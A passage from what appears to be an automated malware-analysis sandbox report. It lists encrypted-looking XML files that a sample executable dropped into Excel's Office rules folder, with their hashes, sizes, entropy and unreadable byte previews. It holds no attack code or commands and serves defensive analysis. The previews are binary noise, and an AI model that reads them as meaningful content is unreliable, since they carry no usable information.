SHA1:	63867BD6C0483AA67E70364AE441AEB2117EC910
SHA-256:	75FF6722DA0962F8E5D45507440766E2AD6A574E61FFD1A9C84DC172CF1B2983
SHA-512:	BDB0F3DFB47C0265616675C54B1846AD77FF745308B1E10EA2D1A0A5C672C9D4C150B1A5049C40C38CAD40F4E298644EBF8A613CBABAF5CCDEF19A2C29CDCA1B
Malicious:	false
Preview:	<?xml.......w..b...k._..b..e3I.?]M..>#.X!..v.P\|.UM....{....jL+.mN..,y..ria.2.G=.......W%..`.U.&~d.#..p._?.._..^.+.F...L.TF9Et..Q.......V_X)..=dYb2...7....[....,...m%=..1..)...X.....O...4?.P.).E..-..i....N..dtxp6.....%.X.\|/3z{^.r..3-.6.........ZI..Gg..l{..r../.]..X..yV..T..........g.7W}*.;......K.r>..KWh.......I'B0.....k{.^.<......sk...M\|.....=...q.o.y.M_.U...<6..q..&G.]5`h..[.X..k#..t..;k.J.s.Z..=.....:.Y..k;&.`.W-...)g..y[2.L..........M..guV...y^0.j.C.k.>.....Q.".ZBK.........$.K...h..T.........N.L....L!.[.L..&Y5..7t.j..%D..7B/.&.zo.s0.....o.)..w{=.$..p....Z.\|&...h.8".z..#....Mk.....i>&..4.Z.A[tLP.....6..4c..?.B...t.Dilh@.....86.p....G...F......LZ..........I..%n..F.!P.v.W...C....Er.q^T.....E......D_..._.9jO... .qb.f..v.{.)`......B.%..j...\|..%Er=.o.....5..J..OX..b.\.9......=.x...!8.".d..w.m%..L...q.Q.../.+.1..[.+.0?H.O.{.n+^...d(.5n`V.s..}.....8TF...v B....'.Z.k.w.R....A..j...F..;...O.z...F.....eE..^.K.%l...&.!...Y._.V.@.8...`.#...mMsRx

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11187v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	3232
Entropy (8bit):	7.933138887620335
Encrypted:	false
SSDEEP:	96:VV+R8jS4b2jT4WJEjbNOLHqVOBjFkZlE1aD1yTq:VV+p46jlJEjbN0qOBjwlyahyO
MD5:	74A3E2F68157EC3DF17688270478EB1B
SHA1:	CCA7B8E79C8D471147E51EDB59DB8A45A698DC42
SHA-256:	4892F0B78B93A5180687377A708C04B888F454204B0697239C9B7705B43891A7
SHA-512:	0E116047CE71BADE42A5CFDF06CD93F7BA17BAB9145B866207AA2DFFF12594BA7340A780FAE0EACE67D98A35D9D4A8728F4E78890F224B676229D24211191D82
Malicious:	false
Preview:	<?xml>c&...c@.."f....<.....u.M'S/. .....H....0l.7$.&15..i....9Y.&E..d..D:.....p..'d..A.....F..@.i."./.'M\ OUd....a.ny.i;i.D.5Zimc]].Y.6....(........j...SUO..@h....CT-.(..\|....1.r.$..B.....d.O...$PY..0....H{;......%.s..=.u"..`...qM.ql..%...E.K......i....<..t..O.g...v....%.:..._2..G....7...Pl.S.&.h;gr.y..WC..X..../......[.R..x./&,9.f............B:.....,......_.Z..1...R.%.-.....-...).H.pY.n[.V.2..f.T'..J,....^..d.F..v.Dl.4.....4.Qm..Ee./.@.6E..(.6.'.}.....k,..V$....Z."4.d.~.....kJ......H5...\|..e\R(.of.n...0......).....A{....k&".r..d.k..>R.r.8...Ko..zW9[.+}.2....y.t...t.E...=.3.....C..s_......Z....grKa.....vO2..th..\|..q...?wb...{....._....0.U.0.M.._.v.T.....;.... .@f!.>Y..h...x"v`.5..s.w.[=k...M.O.>.c{vZ...R....\mnq:...9..]e..YNF..<YH.O.!....3N=........,W....To.~....P3#.8.z}kSd%....P.a.b...O.....^........7.(n.K..*....T.....a.U..s..._^zI.I.9....>.N...C..fo. ...\|..g..}'q'.7j,..t.1+...!.C.jx..nFz...ml....J$(v.r^...vC..n..5........oHy..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11190v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1231
Entropy (8bit):	7.8454145466134175
Encrypted:	false
SSDEEP:	24:HW0jfxJ1EQJjraPI3YmEzAVLKbLOON5HxcyczsDy0LIa/UwN4vh2bD:HW0rxvEQ5u6IzpOoRcns7LJ/tN4SD
MD5:	1B52DE48D8F3949CA0279A786062F72F
SHA1:	39DE8AA11270BAE8F4BCEA08361D9B5B930384DB
SHA-256:	D54732150EECC9F50723C9CB536C5193528D28EC2A1BD0B6B5BA8203EC81F0E4
SHA-512:	EB8289F1D90A35671FD010B4380397D876F2529EE6ECA69B4B91F8287F23A52DE5214B332E1E309F3895BFDEF2E4AE95CDA1BCFFF889A8B49643C23AAFC350B0
Malicious:	false
Preview:	<?xml....al5.c0...'...gLd.]......{X5w.!z..~g.[.F.T..[.......Up...L...qCa.)Q...^..z.(f.:.FZk......;.[.......2........a.....o.v.#..V@....:......C. F ....kW...q0..s.X....;o.kUV..&../!...7.S.%.....I@...r.........%S.<....e.Y#....s...I.9nl,....MVI#.".~).%u.~..)..._...C.k..N+;..vdN..b:.S4.........n.5ppLCh........yy...)........">...n...N.k.h...`..Q.k+...I.IhCl....].j.z..7.&7.9..v.?....W.\18J.U!M)..}IH^...L,bn...\s.;....x@b.`.x..RBp..e....b.;.....q.8k..?.d.\.&...(4.1.u.O.....l...x}....K5..T...`i:m>W...0...R..[...uq..\|;W.P.A.w.h.0..(X.@-..u.L..#N.......R.S(.H)z...ggK...4...V.[.]_i...?.?.d^2Y...]....&..L..K..@'...Kh.G..G......0.. .1....o7\|&.S!.k......V.....?t>.x.R.\.j.c.....}.XGx..F+R...I....(.@T.!z..Mo..Tv.bY.sY.......].5.........o....u....v.,..BZ....:...j..Xp..}[V..0.g.G.8Y.!.\k....Y.M.`....u...c...t..:....l.!.@...@...I`G.{LY.Qi....pq..k...d.f3.......I..{A....(>....q......a}-.c.d.X1hc8...Bx.H..a..U..\|D.E.._...G...H."..F

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11195v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	7567
Entropy (8bit):	7.97665885653327
Encrypted:	false
SSDEEP:	192:g1ewUxX7NnsmWNn0BGEzUn1kK0jSQmjA5QUXbN7b:gY9F7NVWR08EzqySQlQUXbhb
MD5:	8D51B6154541181EF2A8B6547D34A40E
SHA1:	635CF001F22ED216096E87C0C90E045E5F747934
SHA-256:	6FEF3FAB734DC3956DDE76FE1A2CCCA0376A266C51DF162EFEA31B4B7E3066FC
SHA-512:	7229475B7CA8BDA3156CAE130DD0FFB1340136D37993A5C467A6B95D7E250D973525822710E87853C2C73E7B04D2D1E6A815244306BFE36551FC10BAC5669640
Malicious:	false
Preview:	<?xmll.`..\.[...m.).....F..9u...K......o.)xp...e>i7\|.....".!..).E!.z.1U....m...3....C...e..u......^..>H.yC...v..x2\|Ax..j..`[,7...U....gu$.4{......P...~6.3..wl..N.N.j..v.........-...#.Q....FgU/....6.2$..g../..=.$.Y..^..i.hdTV.Z..a>...._.Ja6.N.Z.6........o(.F.:}.>..u....Q....T]..$...6.........Sm%...p..../<f.UQ.....U..,$....z......-..........-.J..8.N.'}..)e6%...^.j.Fe.Z\..{.\|.......r..XQ....~.q..1.>..Q.y..yt... ....0..#7....?.52..]..k..s.g......OW...S7l..Z..3$I...d..d.b..Q...D.RM..q....#.0H..C#-.J./..]p.uY......+J\|..\|M.k..g.Z.4........0,.,..7W..D.$#./.....X.8j..)..k}(f...y.w.....B..,.{.y.#.._..'+.[\...$.N@.\|=i.>z...pT..N.k....l..-...`..N.3..3[Z..'.1.a-"5{..ou..@..........W......z.[.4..[".`d.a$=...B.....z.:.....<t.4...u....~2..lO.d......HM<.y...^.$.H.%....]:....=`......\...O.1~........EK...M..@....%.t.,L%.J~.U.+.....je...1.1....]a...Z.t2j...v..{+v.Z.F.h..lB@.Y.>....Z.Q..h....K$[=.....P.0...J.K.T..r..K.S\|`gdz...g..._..B......R..y:^0..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11208v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	816
Entropy (8bit):	7.72293296703057
Encrypted:	false
SSDEEP:	24:Sg99IiNaX/CTHwHgZFd1q0HC5Ax7wvSKdw2bD:LKi8PCsHcdbHCdvSKlD
MD5:	26AAF6641929F5B2EBF25DC0DCDC2D7F
SHA1:	0366D3D247B66DFC0BC9E4EBD585D30F33A6DB4D
SHA-256:	0F446562ABC653FCD8DB6E51E46AAD09D274FF41C43329CD60243B75095AD7ED
SHA-512:	A1D6174C0F54028BBAE4BC927CE1D94B9ADACCADED9ECF19DC54BCC0DDD9B0206BEB7A62ADE9877DEFD5D3244F234F63E496C616A9081EA3EB26C46689EF3A88
Malicious:	false
Preview:	<?xml.[....R.\...z...8.b...0.....":..Bhx/......x.S(Pb...}..6.pe.5..y.+.Dv...>..t:......./q[Zx.Q.B..J..iY.\.."}...1.d..]44....m..&\|...Q.y...C}Q.-X.X.9......-Tx.-%..G.....E..yoU.eb4.H.`"..5....^..q.....D.vPlw.l.f/.PE-.....d.k...+....N.......2 .t..P.4.:..L..2...5_N.w.CA.C.;...i..3..V^x7..W.!..P..]Q.E...T.....]..G.......O....T0.J.90`..:.^.o9.......o....G.................U.z....5BC!.`..<......Fr.E.....9......R....{.R...?V...9..,...M@8+~.E@.z.1P_./b....h..5J].;^...J>..X.......%.@}..%P.0....$xr..t.. .6..=.~....2..\......._8K...CF.(TZH....T2)..........&....~....{[...~].N.A.J...........x.j......\S...l.W..g.S?/../...ya...99.....g...0X.X.]..J..\.".t.</...N9*.Je8.9J.....$`.2....%.........H.Tq..L.....G.J'.'w8mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11209v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	2272
Entropy (8bit):	7.907667635364149
Encrypted:	false
SSDEEP:	48:TwJFeh0+rkOA885eyXl+L98vRQVWkI1eZqUTQnLdGrD:TWFehJrDA8ByXr2VZICqIQnLdGH
MD5:	37464B94C2633189416F39A88ED06FC6
SHA1:	0276FF5925526ECC78ED039C1137063976A901A5
SHA-256:	780E63FA8FD6E5CE7EBF24BC3783206CF44EBCE8535D0AE0BF4193E24DB43DEA
SHA-512:	DE7E2209E89CD9925270124F126CC3599F838C8A60E1BD8C6573A9F2EA0D3068D3F442E868B6E128A1937B9F7C1073006D8ED60E27A521579D6C2A65F2089BB7
Malicious:	false
Preview:	<?xmlC1.d.b.{...P.,97.....q.4.l.../.m.J.YF)7..TP.@.U....gq.A^..A...R..l.!".h~...%...mV.......S.4..]........./Bgpn&A.qYE...n..@.{.ejolu7.....n..^.H.\|..nN.r.8Br.....0..?{......d>....hP!p...N...e........q...:G...yX.Q...F$.....%..........c..x4.......f.....9..iJ6.8i...-th..?]J.....J...'.{R.K{.....!%.y}..F..W.6`K..u..F..g....R...-.r^>~Y$G.Uh......t.aIK....F.....6.......C9.X.3f...H..4m.u.HMlX..2....3..!.?.z..c..vS.].R.2r..Su.>..D2......`s.&Jw.?...m..h.Ee..I.S.....M,..0Q.]..9+..!....fQ....'..h2.....E.........C.t..>.H.-.\|/\.kl2.&^...A....AVYg....h.x.K....Q..bW......'p....Uo%.1{.K..5Po..e...U.."./...Co.D.....".....X.......{.2.. ....=qh..Q3.V......j+D.5"..6.f....{I..k..2,......I..;.48.=.>.`....t~..M..go..."..."..c.7.u..wH~.5. ...<@i......o.,,a.pc.q..wR..@y<@.........9."....*..M..J..?..d_u>.0..:q(8.....E...?F...LL.C..=.l.....L..Sx.....a............Qi<..8..0.}Bz%@!.AG.+....`^...O...q...p:...&...T..s....g...?+...Fh...g.'.i.Y...TWk\|.K.).Y

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11210v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1311
Entropy (8bit):	7.844415668259295
Encrypted:	false
SSDEEP:	24:wqyLkQL2our0jnQrlqQ/9UqIQLfRTRIIecZfNTS/pXYYGv2bD:w+jo9+HxLfRT3LNS/peMD
MD5:	04A56AB13633CDEE7E6BD319A1139C6D
SHA1:	1EDB78CBA496F936A1508302901D69A2976D8282
SHA-256:	E01F30CF1069C533591E8E770785F9434C081C3A0FA9080066E32749EC5CBB4F
SHA-512:	021B94A1A79B59DDD873EC27E608F0E39CD101F63F62F40D6F1CC0FE8B9C04424C9A5CB307F044DA71A29D4817213E62DB4A54EF71CA4E42978B9CDC693ADA0F
Malicious:	false
Preview:	<?xml....j.../.>b..<~....Zz..eP^...\.:.O.p.~.>...a.D....s....N...X.E.,.2Hn.e}...X.D.d..K.p.{......$C...8Z..9...t9+...tW.%z.a_....)..!.....$.P.R-JX.......{...........G....Sw}.uQ...-.\+JTS.l...U.S..m]./M...K.D>.5..0..".K.1.E..A...._.....eL.&...>K{1..h.Q...Ar..~.2......e.9@9..V1.M."...sq.\..4...$.8I`+H..w..a....._F..i..3/....-.&.6!..Ll......_.....$..8.....>J!{1..2=.(..W,..n......>.O...R...;.... ..{Q~P..f..s."jO.o.9.K..i...7.O....hQ.z...Z:...n.$....YF....I.t.C......W..>8M.%.Y..E.....;^.h#.<9%..J...a#..nt.i.......7....WxQsL....!.=... B.2..@.4.s.G....Mf..^.p:.....x.b.......o..+.7;.i.....X..?.Rn.../..U..B.u.O..V.....)q.x..m.6.....)...U..H0nO....~....4 ...C7.{..&,....x...R-...A;..o..;.y. .,a G....+..*&;....4....o.w..r(.e.Hu......5JK..K.....TB..4..b$..x..0...>...\|KvzP........fM....j.... a...]./.X..m.w...M.fjSz..$.b;..H...3(&....v...I.O..T;.&59....6.0.....DU1....q.......se.u..S...i..l.[..P....d..\.@........3....1..AK....~9G..... h?.8.q.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11264v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	3172
Entropy (8bit):	7.943722579102539
Encrypted:	false
SSDEEP:	48:GOnCNAM0BWBQOUkm7hCRBkJYsRSnrCvhWfUDbpTjru2v/HsDeYc+zB66nJrD:NCNAP7OW7KBkLcAWqzRvpmtfnh
MD5:	D87D91E57334DBB9DEDE54E8EF9A3D8F
SHA1:	D859B38FBDA248CF241F25FA1F089BAA13F4AC14
SHA-256:	55B68AC6507147859F3878020B45F7409EB1610AE3AB1E04A63F1C3998C92C23
SHA-512:	20FA3CD4CBDD3370F98DCC4E90EABEA60892E3838B79703A7D0F6A33262FE1A72C083A813D8C4901D431FD14036502E5CBC87D89FAA5F079119869C8FB0B7AEE
Malicious:	false
Preview:	<?xml. ..T.....7l.V.S...I.v.'.i. \..,...Rk.%..XM...4.3g1..Y-....k6.../.R>Z. A%N.......j..l....2.. ....L.....'.m...T..Y."...={Q.>.I.F..4....v(..f...5V.....u......k.Uf..}R/Q.....0.l.".r#.m..v....o.=.tZ..OS...\..}.M8..,n..3...1.y..(U...P..e./.C.N.K....Z.Ks.1L.q.. :..m.w.0J.Z}O....(...DX.......F..-..Q.u.wBy0.EW......._...56.x$g.5.c.$.....e.f~..M....j...3.~.2{..4...P..d.Y..fHg.K(1.+nU..Sf.j>R.3..,.~.p7u....z../.P.M..F....u...).(2.........<.Tl....4/.....JVy....%..h.(............ .o...6F.I..9.q........KX.i........$..?..~e..>...f.].>.S..2sU.m.....g....;q.....G.D.L.%%.W.X...c_1..4#.?.L......tS.$...!Q.RG;.1.R......e.N.0z-.....QlA..7...=.G...A9..5X.i.p.u\|..x...K.H.kx..........,..n...........h.`$N.A.. w,......id...+..?...HTg...N.....;Z..Z....(F..)<t#f.....8.y,..j..#}.6..$["t+.8.dD=..F..GRW..^..n..)1.....O5Fu.!(.#....`j........GN..@8....0.C~...k....x..G+y...o:j ....okz..:0..\|.m.I4.b_S.L...e-.R@P8..c...F.T...p..&...@......1.2.'...We4x..B

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11265v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	2096
Entropy (8bit):	7.913528586658928
Encrypted:	false
SSDEEP:	48:IfqR3Y2rCIXOq7A+sFBaEDHLfgL55zQ3eGbE76D:Ik3Y2rrViaEH65pwE+
MD5:	0E59167A93B1EBE6F912B9D5D91B8B13
SHA1:	88B9B0B972CBABE30D77E133542A3EDBA898C30D
SHA-256:	67313E696246024AFDA2DC53D3FC26C1AAC5078E341E30260C4F3DA4726704AA
SHA-512:	30A0E5AE6E4860516D09529182405749EE4E2C050A201B588B46EE2FD4CA0624AE01985CC6B9C9310DDB4CC002C64AE89DA6A95F97A0FF8F7A30208F0E0BF88E
Malicious:	false
Preview:	<?xml.4.ag..Q...ky..b[.kU...\|...!8.:.K.......t.~+.s_...]...........`...=....M..c.C. ...O....z.c9.$O..c.G".!.t..e.5....h...NI...v{^..]pAy...Z.?./&.o.?...&.n.2.a..6...XF...O$.g!....."..l...(p...=.{D..K1m/...%.!>..[.D......w..t.Q......E.q:.....!8>x....D@g.&..KS{M.........~2}Kf..<..f/..Q....u.> ..7\..VS..C..#.R....w.:...:....K.............\|.]+.....J.e.....~'}:z..y.q..n..:R.......=l..~..q...l..$1...2..5. .......).6y].NNpv.U.a.(.A.A..p.5...7....<......u....q......J1..&.3&..`.....}c.JK..a.....\|.a..o...8,.F..-..#Gk_...Z`...d....t..a....iF...iN>n...;.F:.&.....:D .)u=..d.h.....4.0.....E.w......~V..@..:......d.)M.`X!.Vo...:O.a...2<.=..&.]?..w..(...w+.U...4;...;.U....<m.....(9.....P..o..L.Yw..U..!....7wR.\|.3.0..._.f...T......:#(..y...T.qY.W.9.6..(.+.....o.....$yk.>........Z............u2...`[..Z@.L.P.D8.I.?= R.`Nk..9W.w.ao.7......$(7....Gk.L.ac1....m.L7.`..0.X^)......!...tJ...F..G.JA..{..s..@.1..]...Pb.F..j..[..P..\...i.@..K...f..i...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11285v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	7525
Entropy (8bit):	7.976272542310318
Encrypted:	false
SSDEEP:	192:e0lMKKkqk87DLkJpMVNMtbB7cHmttFVWwZ:FlMK1qk87DGKNMymttF4wZ
MD5:	B7AEF0A692C2BB858CE9ACA714DD76F3
SHA1:	DFA09FD9626918AA7F23FA21E9BABB670389B6CD
SHA-256:	91E451BE005CF83339567C079CDFA437D1FC203BC8962EB1DA726D181D586E2C
SHA-512:	B0D5AE0CE6B79A6B17D0A49C24BA82BFD1B112F61AB369537D92ACAA0E99A29660143C5833064DC679A71E1660640FCC0C16001B342B1923D97C05E0FFE8E1C2
Malicious:	false
Preview:	<?xml...z"..rSZ.'.h.J..S.q'.7....0}[Q\^..:..?%$.....r..#...o..6._.aH..k..Y.:..eR....~1oX..o@La.\|.,..u..Lt\7..../...R.W.P.sm...^..>.....:>.w....~...!..Z4..P.Bw_.(.\.K<a.G.....F..4g.....-..5....O%.3P.>(53kl......U;5@.2.....%....).V.c..?Z..Y....=..J.?..q..U.......T.......-n...............Jf.....H...7.U1.\|.....<...7..W.X.FnZ.'.lVI..}..p.eN..^]....{t[..w..........=.....N.]J.-........\|..+<$hk.L...k(=..i,.l.....I.....W/..._fe.b.2G.n.#(.......b.><..@.._."u..I.3..Z...}.(..C!..h:.]"O..O7.f\...N........D..^9L......S].0...@....vnU....T.....V0.k.z.}...pD.KO..v.O..V..+=.*........YhI`t..w.R..a)....;C.1j%...@3'.>..#.v<.Q..,...g..:...t..71.?:....Cx...^...x..:.xZ.K..x.F......KrM~....pyex.,...a..f.....X....C<.}...N.. {W.....!Ghy1{...V...6h.......z..`.{....Q.5.F.).X#r...U.7j}"..4.?II%N.?j..N...,._....`.I/d..K..jQ'LR+.....];.....`. Z....C../..Yn=....?[<&.s.}i...T..o[..S.c..[....../...kp%.G`F.#..0..D..d ..y..2.F.c....':=...s0.rXp.v....;s.S.t...#lR.0..X...Q+Z.~..ne.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11289v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	4197
Entropy (8bit):	7.952794535647455
Encrypted:	false
SSDEEP:	96:2EiYJ5k0DdW3DvC3/S10D0ysAl+3K4Rh2OyJXkB:rFhWTBygbiEK4qOyg
MD5:	9076479D4320E5E01743D752C0D06DD3
SHA1:	D9A265D4972D13C774E9FD8E517FEC737E3990AD
SHA-256:	1928323FD4E3BA2A7CC9E85C2B62A5CCBB61FF42CBF437EBD6C5DF03B22F3B8C
SHA-512:	CFB02BF127AB25E7720A37A66A886D6700C71EE87A9C582F7159BAFE6F925F9C7109E0303E3EB4A8DCCD8E2361ADA2D30D919411EAFC957E7CD1A3BF5CDD2B17
Malicious:	false
Preview:	<?xml.t.S......u`..q...#....w....y=..Js..Z)....$.A..!.5...> ...'0.r.q....~;{J...........a,.&sTGG....G .%1...}.....? G..vN...v......C"..%..$+!P.+B7\|E.5X>.M. ..K.6..}....I...Jg.oS.5...Vr:l7%......\|....{..\|&.n.6...g..^..k...U^ 0.v.h...7.k.5.7v<l..e.d.........@..D{Dl...F........</>...@Q...H....\.R4p..I...f.....).m....h-...@OC.O..I..>:........N...k\$&_)....li......(.....J...I.....6rx..0.....im.Zl.F.o....?...OL\|..#.T8V$..L....~r....I&).N.7..>N.C.S:....lBY.....xX7..s(.?.....?^U.L,>..;..........&...:vM3:.;a...j=.r....@......TK.,9O..".N..\.W."p]Q#.6.}H..y.wS."..=..\....%P.J..H.+I"........Z..M...D...FDU .c..j.L.....%`....RH.>.. ..R...Q...L..h...'..C4.....qs...kg..z.V..V.b.h.....O..O.w..R..LN.g".d..w.G......-...1s...%De4...FXg.\|..2..f..$.~hbm.~0s.6.z.M.)= .\|}.C...g..v....7T....\|{G.Q3}......8w....{w.>.q.\|.._...A.ot...E..r.:..2..8.T.,.Y%. I..fT..+zg..Z3R.......o.0..z.2.d.Za../.2...*q.0...^EhQ..ab.zStU-.+<.%.%s..rg}IK.#.7Z.V.f. .A..4.y..../.....j6..CC

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11300v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	4608
Entropy (8bit):	7.962622141091574
Encrypted:	false
SSDEEP:	96:DJ6NRDPdK0HQqmkdhqKZCMU4P6kzxWGALF2erqygr4BBm+rEjq3eNTzyj:DeRxdmkdhHMkzIGAhvrqzrImxjVY
MD5:	966BDCFF5B61B39301B63CE69C100482
SHA1:	94B895B2F4322C2AAF9684B6794435D7CEF4FAF7
SHA-256:	C7B5C36B4110ABB603AEC7219458D2F4591F02CEE983E7D5A7BFD45B8C1D6927
SHA-512:	93D18EFD080D3C14AD274E704C2EDD59EE6EDEF124C056400887AFF8312785B6C771C39023BBC6C52799F67CC6EC255B9754CC33B142A8AEBA817B2AAE424299
Malicious:	false
Preview:	<?xml.../......./_.<[..........&_..HqU.0.<a..C..bUP..^.I...Z........Q.....#d...k..@.."F8y......x.6,J.d...~.8..;..]~(.wS../..b^.Y"v....W.G.........4p.....p4.!V...3...++......".w.5HU.V.0.N.!o..$..Z.H...~j.rR.......W...=.....I.J2.AV...c.....!......BwB<....^on.....D.].x$4.Q.................YP...M.^...}z....h..L[.....#B...!.....R.}..>..N...C.............Jz.u....n...op..{Tc.....u.......b.&.G.....,....i.G.J..?/.9Y..._"........('.J.9.67..A%DA.7..76.\lBC..'F..".......)....:..c).6.'&........P.....]stVm*..zv..#.....U.[.g...o`}.l...F.\._....X..L;6]...2BH..w..)0.._N._...G...y!>.a2.".......#,1...P..g.......0..-...Wc.i<$;n.....~V4..8Gk.s~.....=f,.......-..).Z.Ng.\.. .<.@......4...}a.".Id.q.J.E.....N...K.{...g.r.e.....f..T..[.=...b............{..i.c+..3...I.x..C....P;(....[Al..:..GD.d.g..T.Qe.0>...&.ZPD.%..5.>..A.CH.t...0.A.....t.z]........>.3.I#k../\|.#.y#.D..J..q....ce..q.j..d...Q.b1.....O.3r...r{.....T..w....L_.r...\|.i. .. `;!..TIEp.kE5.?.9.0.X.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11302v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	2884
Entropy (8bit):	7.944322538397373
Encrypted:	false
SSDEEP:	48:dxKLqE74e+dpAD01JlJZFvnunkqtHP/IF3CNc17tbdq1YCo0qHMkZQ84975ZG49B:doLqSMuiJlVunkqpG3C+zJq1YnHFk75h
MD5:	8905359CCAF38BBA2C57CBAE780E173C
SHA1:	30321A4A751CC62547F8207E910B021DC0754C6A
SHA-256:	8FB829AAE610BA3FAC249BFD97ABD137A6067AA624ED3278A75F755E6DFD4A84
SHA-512:	8FC351C99DC7AF2E54F2071605DDB54BABB73A831BEF5ED9FF495CD5C8D56C99CA68695A8DED1807874925C6187D97676ABC06EB35D773203358E3A324614637
Malicious:	false
Preview:	<?xml..Vn.\|.d..:........40S..H..M..Ag.@..xW_.A.8.._.7....g".m..3Jg9.X...u.f..v....L}.u..b.Y....^.+.e.<f..%.;-...^...:.;.......6..G...ob.6!eG..r..>.......k"..T...D...r..U?.VgL" ...}...]8.9.m...I^.....K......U#.......M...G.4.......h'.RZw.J.,r4zf$.r.tUu.G..Q..<......$......=g.Y.....m.@..... .+...\.?....Y.`.;..;..[.Rl..#C..r...}S....?....2...<].O.[0C....&gV.:.a6;.........E2...,..C.pT.~Ghh.W,..eSW..q..`u.".d..F.:...]ZY.o..3........n.b..S...<..`....:b....Z.A2"..K.'..M....;-.$..1m....]....i..K....QC.A?8..._.2.>.P...\........?.w<.3..^..d..W.{..^..]...9...}..+.s..\|..$.Ot........>.,)..T.........zt..+.C...p.e..y~.7..v&..t^...^..d.a....oF`...F#.3).<.%....ZJ..v.=.S...fx.`..`K..0.T...W.......$U..#NB;..#R......I.$y....4.%i..9.".]...._t:kj<P...vq.lY.!...._.o..j.3..mj.*^.^S&.Q.~.Y...xpg...<h........8....._~p......P_ ....&#V..Y..[...Yt.3..Kt..+.W.LK......K.xJol&d/...[...o.1g.....C....9F...j.6...sk..3E;...@Mf.^.....J.d.....S.J;J..?..Z(A..A.r.C.....>b.I.98....4F

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11362v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	5842
Entropy (8bit):	7.963734027340897
Encrypted:	false
SSDEEP:	96:1ouL7h8xkaTPBQ4aXCt4RkFbjHcqaezOzbuzD6jzD3UMUpJ0Qe+bEOH1u9Ju:2q78karBQbXCekFbj8YzUazG3D3lUp6W
MD5:	531BAFEFC366CCE0ED453F1FF5CEA6F9
SHA1:	EAFA4E57E17C1B1F933492CA2F4FB7E3EDC2624C
SHA-256:	BD28AD4F7135BCB45CBCF4F649F6FE3FA9B552298032049C6D99470C66E80A96
SHA-512:	265192AF9CA661970EF8717583189CCE7A0C54576F6BD83AFC3C3935C94668287C1D807D0F210C2920755851405C9830DD85D9540F9FF51DFE3C1A2EDCEE6D5A
Malicious:	false
Preview:	<?xml9 ..RK..\.+..X.Z6.D.b^.P.%9.<BG..0mf..;q\|.K...sa.H@.5B.\..%.'...$..l.od......s..6...&].F..G..7...t.G..!..;..J...b...9X5.....a)..]z...9..[..`.......T.....vfXQTW..V..d.......a.>.....UA2L..>.i....D..$7..P>.n3M..>..=...<.'I.1.$._....B0.=.sV.-.}......"[..h'.l.t..Ax6lk3b.u..w...W/zo./...VdE..>;..mI.6..b.42...p....it...p.)..j....V:s}..m..U.X..T...H.WFv.4..)/.>..T..c.....^.AA.PD.'g..j_Wm.......)J._s/5./.~Q.w.;.....1.b.....?u.D.....!q....P.,%&q....4.j..no...;5.[)H_6.....Wq.PF...i.D.v.2.cH@...K..a9.2K/...wo.K..ia.A..p?.3Q.J.$..>.n......z..K0...z,%.4..gN.r\|qu7...1.8..........R..0Dkr.>.M.~x.D\Z]..9#OX.......y[B3R.o..,1w.~../...f......Y....Eqc.......-~Q.4.. iUX...3.(.0T..-.n.....S$..oC....Sr.@...I0..a..%.ia...\|.d.r.A.../.'h&b..g..aH .H......8..0.q..uv...b.....".j...e...^cOz.t.0.s.P...P..A6.y..r...e*....@E+[.o....Y.Pz-wOw#...g....O.(.u'...d....1.M.4...S....I..\.?.B2..........u_....l..vk.c.9.w.....<5Ty.q.L.S.....S.em?.........Tw=}...U....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11369v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	2023
Entropy (8bit):	7.905615742797078
Encrypted:	false
SSDEEP:	48:hFedY1IyaK4xRdkJwSf47hu+OdTHSxBADndKbjSNRrv+rK4QGyqND:XBIyaKtwS47hB1SDn4jU+rKRGym
MD5:	3856EF03862650311F6ECF5432AD404A
